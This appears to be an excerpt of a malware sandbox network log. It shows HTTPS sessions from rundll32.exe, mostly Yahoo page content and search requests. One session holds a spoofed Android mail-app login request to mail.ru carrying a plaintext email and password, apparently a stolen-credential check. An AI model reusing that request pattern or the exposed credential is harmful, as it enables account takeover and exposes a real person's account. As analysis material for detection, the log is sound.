2023-12-10 16:51:09 UTC	416	IN	Data Raw: 5b 65 5d 3b 30 3c 3d 65 26 26 64 5b 65 5d 26 26 28 53 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 74 2e 6c 69 2c 63 2e 63 73 73 29 2c 6c 2e 61 70 70 2e 6e 6f 74 69 66 79 28 44 2c 5b 74 5d 29 29 7d 66 75 6e 63 74 69 6f 6e 20 72 28 65 29 7b 53 2e 61 64 64 43 6c 61 73 73 28 65 2e 6c 69 2c 63 2e 63 73 73 29 2c 6c 2e 61 70 70 2e 6e 6f 74 69 66 79 28 79 2c 5b 65 5d 29 7d 76 61 72 20 6c 3d 74 68 69 73 2c 63 3d 6c 2e 63 6f 6e 66 69 67 2c 70 3d 6c 2e 61 70 70 2e 76 69 65 77 2c 64 3d 70 2e 69 74 65 6d 73 2c 68 3d 28 65 3d 70 2e 65 6c 65 6d 73 29 2e 73 62 49 6e 70 75 74 2c 6e 3d 65 2e 73 61 54 72 61 79 2c 65 3d 53 2e 69 65 56 65 72 2c 75 3d 21 31 3b 53 2e 61 65 28 6e 2c 22 6d 6f 75 73 65 6f 76 65 72 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d Data Ascii: [e];0<=e&&d[e]&&(S.removeClass(t.li,c.css),l.app.notify(D,[t]))}function r(e){S.addClass(e.li,c.css),l.app.notify(y,[e])}var l=this,c=l.config,p=l.app.view,d=p.items,h=(e=p.elems).sbInput,n=e.saTray,e=S.ieVer,u=!1;S.ae(n,"mouseover",function(e){for(var t=
2023-12-10 16:51:09 UTC	16384	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 6f 28 29 7d 29 2c 53 2e 61 65 28 68 2c 22 6b 65 79 64 6f 77 6e 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 6b 65 79 43 6f 64 65 2c 69 3d 6c 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 3b 73 77 69 74 63 68 28 74 29 7b 63 61 73 65 20 33 38 3a 63 61 73 65 20 34 30 3a 69 66 28 64 2e 6c 65 6e 67 74 68 29 7b 6f 28 29 3b 66 6f 72 28 76 61 72 20 73 2c 6e 3d 64 2e 6c 65 6e 67 74 68 3b 34 30 3d 3d 74 3f 69 3c 30 7c 7c 6e 2d 31 3c 3d 69 3f 69 3d 30 3a 69 2b 2b 3a 69 3c 3d 30 3f 69 3d 6e 2d 31 3a 69 2d 2d 2c 21 28 73 3d 64 5b 69 5d 29 2e 6c 69 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 29 3b 6c 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 3d 69 2c 70 2e 61 73 73 69 73 74 49 74 65 6d 3d 73 2c 68 2e 76 61 6c 75 65 3d 73 2e 64 61 74 61 Data Ascii: tion(e){o()}),S.ae(h,"keydown",function(e){var t=e.keyCode,i=l.selectedIndex;switch(t){case 38:case 40:if(d.length){o();for(var s,n=d.length;40==t?i<0\|\|n-1<=i?i=0:i++:i<=0?i=n-1:i--,!(s=d[i]).li.parentNode;);l.selectedIndex=i,p.assistItem=s,h.value=s.data
2023-12-10 16:51:09 UTC	3472	IN	Data Raw: 29 2e 6f 6e 28 6b 2c 47 65 2c 74 68 69 73 29 2c 65 2e 6f 6e 28 66 2c 4b 65 2c 74 68 69 73 29 7d 7d 2c 56 65 29 2c 64 2e 73 61 53 70 6f 72 74 3d 28 51 65 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 28 74 68 69 73 2e 61 70 70 3d 65 29 2e 6f 6e 28 6b 2c 57 65 2c 74 68 69 73 29 2c 65 2e 6f 6e 28 66 2c 59 65 2c 74 68 69 73 29 7d 7d 2c 51 65 29 2c 64 2e 73 61 57 65 61 74 68 65 72 3d 28 58 65 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 28 74 68 69 73 2e 61 70 70 3d 65 29 2e 6f 6e 28 6b 2c 7a 65 2c 74 68 69 73 29 2c 65 2e 6f 6e 28 66 2c 5a 65 2c 74 68 69 73 29 7d 7d 2c 58 65 29 2c 64 2e 73 61 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 73 3d 28 4a 65 2e 70 72 6f 74 6f 74 79 70 65 3d Data Ascii: ).on(k,Ge,this),e.on(f,Ke,this)}},Ve),d.saSport=(Qe.prototype={init:function(e){(this.app=e).on(k,We,this),e.on(f,Ye,this)}},Qe),d.saWeather=(Xe.prototype={init:function(e){(this.app=e).on(k,ze,this),e.on(f,Ze,this)}},Xe),d.saEntertainments=(Je.prototype=
2023-12-10 16:51:09 UTC	12912	IN	Data Raw: 5b 74 79 70 65 3d 63 68 65 63 6b 62 6f 78 5d 3a 63 68 65 63 6b 65 64 22 29 2c 74 3d 74 68 69 73 2e 66 6f 72 6d 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 69 6e 70 75 74 5b 74 79 70 65 3d 72 61 64 69 6f 5d 3a 63 68 65 63 6b 65 64 22 29 3b 72 65 74 75 72 6e 20 30 3c 65 2e 6c 65 6e 67 74 68 26 26 30 3c 74 2e 6c 65 6e 67 74 68 7d 2c 62 75 69 6c 64 52 65 70 6f 72 74 4c 69 6e 6b 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 63 6f 6e 66 69 67 2e 63 73 73 2e 6e 61 6d 65 73 70 61 63 65 2c 74 3d 74 68 69 73 2c 69 3d 74 68 69 73 2e 63 72 65 61 74 65 45 6c 65 6d 28 7b 63 73 73 3a 65 2b 22 2d 72 65 70 6f 72 74 22 7d 29 2c 73 3d 6e 75 6c 6c 2c 6e 3d 28 74 68 69 73 2e 63 6f 6e 66 69 67 2e 6c 6f 67 26 26 28 73 3d 74 68 69 73 2e 63 6f Data Ascii: [type=checkbox]:checked"),t=this.form.querySelectorAll("input[type=radio]:checked");return 0<e.length&&0<t.length},buildReportLink:function(){var e=this.config.css.namespace,t=this,i=this.createElem({css:e+"-report"}),s=null,n=(this.config.log&&(s=this.co
2023-12-10 16:51:09 UTC	10533	IN	Data Raw: 2e 57 65 61 74 68 65 72 20 2e 63 6f 6d 70 57 65 61 74 68 65 72 49 6d 61 67 65 20 73 70 61 6e 7b 63 6f 6c 6f 72 3a 23 46 46 46 7d 23 72 65 73 75 6c 74 73 20 2e 63 6f 6d 70 4c 6f 63 61 6c 4c 69 73 74 2e 72 61 76 69 6f 6c 69 4c 69 73 74 69 6e 67 20 73 70 61 6e 2e 69 73 6f 70 65 6e 20 7b 63 6f 6c 6f 72 3a 23 30 30 38 38 32 43 7d 23 72 65 73 75 6c 74 73 20 2e 63 6f 6d 70 4c 6f 63 61 6c 4c 69 73 74 2e 72 61 76 69 6f 6c 69 4c 69 73 74 69 6e 67 20 73 70 61 6e 2e 69 73 63 6c 6f 73 65 64 20 7b 63 6f 6c 6f 72 3a 23 46 34 31 37 33 32 7d 23 6d 61 69 6e 20 2e 6c 61 73 74 20 2e 64 64 20 2e 63 6f 6d 70 44 6c 69 6e 6b 20 61 2c 20 23 72 69 67 68 74 20 2e 6c 61 73 74 20 2e 63 6f 6d 70 4c 69 73 74 20 61 2c 20 23 6d 61 69 6e 20 2e 73 65 61 72 63 68 43 65 6e 74 65 72 46 6f 6f Data Ascii: .Weather .compWeatherImage span{color:#FFF}#results .compLocalList.ravioliListing span.isopen {color:#00882C}#results .compLocalList.ravioliListing span.isclosed {color:#F41732}#main .last .dd .compDlink a, #right .last .compList a, #main .searchCenterFoo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	50091	94.100.184.66	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:51:11 UTC	619	OUT	GET /cgi-bin/auth?Password=7090980&Login=dimon-nk@bk.ru&mob_json=1&mobile=1&simple=1&useragent=android&Lang=ru_RU&mp=android&mmp=mail&DeviceID=F20B2E7D1B97022C9A016E1975615F93&client=mobile&playservices=5785264&connectid=CA937473C56C30761877F64EA231685D&os=Android&os_version=6.0.1&ver=ru.mail.mailapp5.3.0.19561&vendor=samsung&model=SM-G925F&device_type=Smartphone&country=RU&language=ru_RU&timezone=GMT%2B03%3A00&device_name=samsung%20SM-G925F&idfa=a3058554-2eeb-497a-986d-8f5d3093c6e1&appsflyerid=1474203483607-2001876048883877051&current=google&first=google&md5_signature=2FDD407E0B1B4AFCD4E53954D0B9AD4F HTTP/1.1
2023-12-10 16:51:11 UTC	138	OUT	Data Raw: 48 6f 73 74 3a 20 61 6a 2d 68 74 74 70 73 2e 6d 61 69 6c 2e 72 75 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 70 2c 64 65 66 6c 61 74 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 6d 6f 62 6d 61 69 6c 20 61 6e 64 72 6f 69 64 20 35 2e 33 2e 30 2e 31 39 35 36 31 20 72 75 2e 6d 61 69 6c 2e 6d 61 69 6c 61 70 70 0d 0a 0d 0a Data Ascii: Host: aj-https.mail.ruConnection: keep-aliveAccept-Encoding: gzip,deflateUser-Agent: mobmail android 5.3.0.19561 ru.mail.mailapp
2023-12-10 16:51:13 UTC	823	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 31 3a 31 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 37 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 50 33 50 3a 20 43 50 3d 22 4e 4f 4e 20 43 55 52 20 4f 55 52 20 49 4e 44 20 55 4e 49 20 49 4e 54 22 0d 0a 58 2d 53 57 41 2d 53 54 41 54 55 53 3a 20 38 30 38 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 75 6b 65 79 3d 31 64 7a 73 55 6b 37 46 69 70 4e 72 66 6c 65 61 48 32 56 6f 4b 30 Data Ascii: HTTP/1.1 200 OKServer: nginx/1.16.1Date: Sun, 10 Dec 2023 16:51:13 GMTContent-Type: application/json;charset=UTF-8Content-Length: 171Connection: closeP3P: CP="NON CUR OUR IND UNI INT"X-SWA-STATUS: 808Set-Cookie: ukey=1dzsUk7FipNrfleaH2VoK0
2023-12-10 16:51:13 UTC	171	IN	Data Raw: 7b 22 53 74 61 74 75 73 22 3a 22 4f 6b 22 2c 22 43 6f 6e 74 69 6e 75 65 22 3a 22 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 2e 6d 61 69 6c 2e 72 75 2f 6c 6f 67 69 6e 3f 63 61 70 74 63 68 61 3d 31 26 66 61 69 6c 3d 31 26 6d 6f 64 65 3d 61 75 74 68 63 61 70 74 63 68 61 26 6d 6f 62 69 6c 65 5f 63 61 70 74 63 68 61 5f 61 75 74 68 3d 31 26 65 6d 61 69 6c 3d 64 69 6d 6f 6e 2d 6e 6b 25 34 30 62 6b 2e 72 75 26 6c 61 6e 67 3d 72 75 5f 52 55 26 63 61 70 74 63 68 61 5f 74 79 70 65 3d 72 65 63 61 70 74 63 68 61 22 7d Data Ascii: {"Status":"Ok","Continue":"https://account.mail.ru/login?captcha=1&fail=1&mode=authcaptcha&mobile_captcha_auth=1&email=dimon-nk%40bk.ru&lang=ru_RU&captcha_type=recaptcha"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	50093	68.180.135.252	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:51:11 UTC	284	OUT	GET / HTTP/1.1 Host: www.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
2023-12-10 16:51:12 UTC	1292	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 72 65 66 65 72 72 65 72 2d 70 6f 6c 69 63 79 3a 20 6e 6f 2d 72 65 66 65 72 72 65 72 2d 77 68 65 6e 2d 64 6f 77 6e 67 72 61 64 65 0d 0a 73 74 72 69 63 74 2d 74 72 61 6e 73 70 6f 72 74 2d 73 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a 78 2d 66 72 61 6d 65 2d 6f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 31 3a 31 32 20 47 4d 54 0d 0a 78 2d 65 6e 76 6f 79 2d 75 70 73 74 72 65 61 6d 2d 73 65 72 76 69 63 65 2d 74 69 6d 65 3a 20 34 31 0d 0a 73 65 72 76 65 72 3a Data Ascii: HTTP/1.1 200 OKreferrer-policy: no-referrer-when-downgradestrict-transport-security: max-age=31536000x-frame-options: SAMEORIGINcontent-type: text/html; charset=utf-8date: Sun, 10 Dec 2023 16:51:12 GMTx-envoy-upstream-service-time: 41server:
2023-12-10 16:51:12 UTC	649	IN	Data Raw: 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 41 31 3d 64 3d 41 51 41 42 42 49 44 73 64 57 55 43 45 46 62 51 77 78 76 4a 66 35 5f 33 58 52 67 56 6e 4b 6b 34 5a 30 4d 46 45 67 45 42 41 51 45 2d 64 32 56 5f 5a 64 77 77 30 69 4d 41 5f 65 4d 41 41 41 26 53 3d 41 51 41 41 41 6b 6a 31 33 4d 62 74 4c 6c 46 67 50 4c 69 52 46 5a 59 33 31 4b 63 3b 20 45 78 70 69 72 65 73 3d 4d 6f 6e 2c 20 39 20 44 65 63 20 32 30 32 34 20 32 32 3a 35 31 3a 31 32 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 3b 20 53 61 6d 65 53 69 74 65 3d 4c 61 78 3b 20 53 65 63 75 72 65 3b 20 48 74 74 70 4f 6e Data Ascii: X-Content-Type-Options: nosniffSet-Cookie: A1=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31Kc; Expires=Mon, 9 Dec 2024 22:51:12 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=Lax; Secure; HttpOn
2023-12-10 16:51:12 UTC	1300	IN	Data Raw: 66 38 61 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 64 61 74 61 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 20 69 64 3d 61 74 6f 6d 69 63 20 63 6c 61 73 73 3d 22 6c 74 72 20 66 70 20 20 64 65 73 6b 74 6f 70 20 20 66 70 2d 6e 6f 6e 65 20 62 6b 74 4d 69 6d 69 63 50 72 6f 76 69 64 65 72 4c 69 73 74 76 32 2d 63 6f 70 79 2c 73 65 6e 64 5f 68 65 69 6d 64 61 6c 6c 5f 68 6f 6d 65 70 61 67 65 5f 62 75 63 6b 65 74 2c 73 65 61 6d 6c 65 73 73 20 75 61 2d 63 68 72 6f 6d 65 20 75 61 2d 38 38 2e 30 20 69 73 4d 6f 64 65 72 6e 22 20 6c 61 6e 67 3d 65 6e 2d 55 53 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 63 30 39 36 62 65 35 37 65 63 66 32 35 38 35 33 33 38 30 62 35 30 34 34 32 65 39 30 32 38 35 33 33 32 30 32 38 34 33 36 33 61 37 Data Ascii: f8a<!doctype html><html data-color-scheme id=atomic class="ltr fp desktop fp-none bktMimicProviderListv2-copy,send_heimdall_homepage_bucket,seamless ua-chrome ua-88.0 isModern" lang=en-US><head><script nonce=c096be57ecf25853380b50442e902853320284363a7
2023-12-10 16:51:12 UTC	1300	IN	Data Raw: 2c 20 79 61 68 6f 6f 20 68 6f 6d 65 20 70 61 67 65 2c 20 79 61 68 6f 6f 20 68 6f 6d 65 70 61 67 65 2c 20 79 61 68 6f 6f 20 73 65 61 72 63 68 2c 20 79 61 68 6f 6f 20 6d 61 69 6c 2c 20 79 61 68 6f 6f 20 6d 65 73 73 65 6e 67 65 72 2c 20 79 61 68 6f 6f 20 67 61 6d 65 73 2c 20 6e 65 77 73 2c 20 66 69 6e 61 6e 63 65 2c 20 73 70 6f 72 74 2c 20 65 6e 74 65 72 74 61 69 6e 6d 65 6e 74 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 66 62 3a 61 70 70 5f 69 64 20 63 6f 6e 74 65 6e 74 3d 34 35 38 35 38 34 32 38 38 32 35 37 32 34 31 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 6f 67 3a 69 6d 61 67 65 20 63 6f 6e 74 65 6e 74 3d 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 63 76 2f 61 70 69 76 32 2f 73 6f 63 69 61 6c 2f 69 6d 61 67 65 73 2f 79 61 68 6f Data Ascii: , yahoo home page, yahoo homepage, yahoo search, yahoo mail, yahoo messenger, yahoo games, news, finance, sport, entertainment"><meta property=fb:app_id content=458584288257241><meta property=og:image content=https://s.yimg.com/cv/apiv2/social/images/yaho
2023-12-10 16:51:12 UTC	49	IN	Data Raw: 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 72 7a 2f 6c 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 3e 3c 6c 69 6e 6b 20 72 Data Ascii: ref="https://s.yimg.com/rz/l/favicon.ico"><link r
2023-12-10 16:51:12 UTC	1300	IN	Data Raw: 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 2f 2f 67 65 6f 2e 79 61 68 6f 6f 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 2f 2f 67 65 6f 2e 79 61 68 6f 6f 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 2f 2f 67 65 6f 2e 71 75 65 72 79 2e 79 61 68 6f 6f 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 2f 2f 67 65 6f 2e 71 75 65 72 79 2e 79 61 68 6f 6f 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 2f 2f 73 65 61 72 63 68 2e 79 61 68 6f 6f 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 Data Ascii: el="dns-prefetch" href="//geo.yahoo.com"><link rel="preconnect" href="//geo.yahoo.com"><link rel="dns-prefetch" href="//geo.query.yahoo.com"><link rel="preconnect" href="//geo.query.yahoo.com"><link rel="dns-prefetch" href="//search.yahoo.com"><link rel="
2023-12-10 16:51:12 UTC	36	IN	Data Raw: 6e 74 22 20 74 79 70 65 3d 22 66 6f 6e 74 2f 77 6f 66 66 32 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0d 0a Data Ascii: nt" type="font/woff2" crossorigin>
2023-12-10 16:51:12 UTC	1300	IN	Data Raw: 37 66 66 39 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6e 6f 6e 63 65 3d 22 63 30 39 36 62 65 35 37 65 63 66 32 35 38 35 33 33 38 30 62 35 30 34 34 32 65 39 30 32 38 35 33 33 32 30 32 38 34 33 36 33 61 37 34 64 62 63 64 32 38 63 64 34 34 63 65 34 65 33 62 36 34 32 33 22 3e 2f 2a 20 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 64 72 2f 66 70 2f 63 73 73 2f 66 75 73 69 6f 6e 2e 61 74 6f 6d 69 63 2e 32 38 35 31 36 36 32 37 39 37 61 64 30 32 38 36 64 37 39 39 65 64 37 65 33 62 32 65 64 33 31 65 2e 63 73 73 20 2a 2f 20 23 61 74 6f 6d 69 63 20 2e 42 64 63 5c 28 2d 2d 66 70 2d 68 72 5c 29 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 66 70 2d 68 72 29 7d 23 61 74 6f 6d 69 63 20 2e 42 64 63 5c 28 5c 24 63 Data Ascii: 7ff9<style type="text/css" nonce="c096be57ecf25853380b50442e902853320284363a74dbcd28cd44ce4e3b6423">/* https://s.yimg.com/dr/fp/css/fusion.atomic.2851662797ad0286d799ed7e3b2ed31e.css */ #atomic .Bdc$--fp-hr${border-color:var(--fp-hr)}#atomic .Bdc\(\$c
2023-12-10 16:51:12 UTC	1300	IN	Data Raw: 61 63 6b 67 72 6f 75 6e 64 5c 29 5c 3a 66 3a 66 6f 63 75 73 2c 23 61 74 6f 6d 69 63 20 2e 42 67 63 5c 28 2d 2d 66 70 2d 62 61 63 6b 67 72 6f 75 6e 64 5c 29 5c 3a 68 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 66 70 2d 62 61 63 6b 67 72 6f 75 6e 64 29 7d 23 61 74 6f 6d 69 63 20 2e 43 5c 28 5c 23 38 32 38 61 39 33 5c 29 7b 63 6f 6c 6f 72 3a 23 38 32 38 61 39 33 7d 23 61 74 6f 6d 69 63 20 2e 43 5c 28 2d 2d 62 61 74 74 6c 65 73 68 69 70 5c 29 2c 23 61 74 6f 6d 69 63 20 2e 43 5c 28 2d 2d 62 61 74 74 6c 65 73 68 69 70 5c 29 5c 3a 5c 3a 70 68 3a 3a 70 6c 61 63 65 68 6f 6c 64 65 72 7b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 61 74 74 6c 65 73 68 69 70 29 7d 23 61 74 6f 6d 69 63 20 2e 43 5c 28 2d 2d 62 6c 75 72 70 6c 65 Data Ascii: ackground\)\:f:focus,#atomic .Bgc$--fp-background$\:h:hover{background-color:var(--fp-background)}#atomic .C$\#828a93${color:#828a93}#atomic .C$--battleship$,#atomic .C$--battleship$\:\:ph::placeholder{color:var(--battleship)}#atomic .C\(--blurple
2023-12-10 16:51:12 UTC	1300	IN	Data Raw: 34 70 78 7d 23 61 74 6f 6d 69 63 20 2e 47 70 5c 28 31 37 70 78 5c 29 7b 67 61 70 3a 31 37 70 78 7d 23 61 74 6f 6d 69 63 20 2e 47 70 5c 28 32 30 70 78 5c 29 7b 67 61 70 3a 32 30 70 78 7d 2e 61 63 74 69 76 65 20 2e 61 63 74 69 76 65 5f 48 5c 28 38 70 78 5c 29 7b 68 65 69 67 68 74 3a 38 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 23 61 74 6f 6d 69 63 20 2e 48 5c 28 31 36 30 70 78 5c 29 7b 68 65 69 67 68 74 3a 31 36 30 70 78 7d 23 61 74 6f 6d 69 63 20 2e 48 5c 28 31 37 70 78 5c 29 7b 68 65 69 67 68 74 3a 31 37 70 78 7d 23 61 74 6f 6d 69 63 20 2e 48 5c 28 32 36 70 78 5c 29 7b 68 65 69 67 68 74 3a 32 36 70 78 7d 23 61 74 6f 6d 69 63 20 2e 48 5c 28 34 30 5c 25 5c 29 7b 68 65 69 67 68 74 3a 34 30 25 7d 23 61 74 6f 6d 69 63 20 2e 48 5c 28 36 30 5c 25 5c 29 7b 68 65 69 Data Ascii: 4px}#atomic .Gp$17px${gap:17px}#atomic .Gp$20px${gap:20px}.active .active_H$8px${height:8px!important}#atomic .H$160px${height:160px}#atomic .H$17px${height:17px}#atomic .H$26px${height:26px}#atomic .H$40\%${height:40%}#atomic .H$60\%${hei

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	50098	66.218.84.137	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:51:13 UTC	976	OUT	GET /search;_ylt=AwrFcoh87HVllJArc3pLBQx.;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=foamex+printed+boards&pz=7&fr=sfp&b=29&pz=7&pstart=13 HTTP/1.1 Host: uk.search.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Cookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; GUCS=AVYdtGeu; GUC=AQABCAFldzNlnUIgagTD&s=AQAAADRA1rku&g=ZXXsag; EuConsent=CP2kfsAP2kfsAAOACKENAdEgAAAAAAAAACiQAAAAAAAA; PROMO=ltv_pid=sfp&ltv_new=1&ltv_ts=1702227047&ltv_sts=1702227068&ltv_c=4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
2023-12-10 16:51:14 UTC	2068	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 31 3a 31 34 20 47 4d 54 0d 0a 70 33 70 3a 20 70 6f 6c 69 63 79 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 6f 6c 69 63 69 65 73 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 77 33 63 2f 70 33 70 2e 78 6d 6c 22 2c 20 43 50 3d 22 43 41 4f 20 44 53 50 20 43 4f 52 20 43 55 52 20 41 44 4d 20 44 45 56 20 54 41 49 20 50 53 41 20 50 53 44 20 49 56 41 69 20 49 56 44 69 20 43 4f 4e 69 20 54 45 4c 6f 20 4f 54 50 69 20 4f 55 52 20 44 45 4c 69 20 53 41 4d 69 20 4f 54 52 69 20 55 4e 52 69 20 50 55 42 69 20 49 4e 44 20 50 48 59 20 4f 4e 4c 20 55 4e 49 20 50 55 52 20 46 49 4e 20 43 4f 4d 20 4e 41 56 20 49 4e 54 20 44 45 4d 20 43 4e 54 20 53 54 41 20 50 4f Data Ascii: HTTP/1.1 200 OKdate: Sun, 10 Dec 2023 16:51:14 GMTp3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA PO
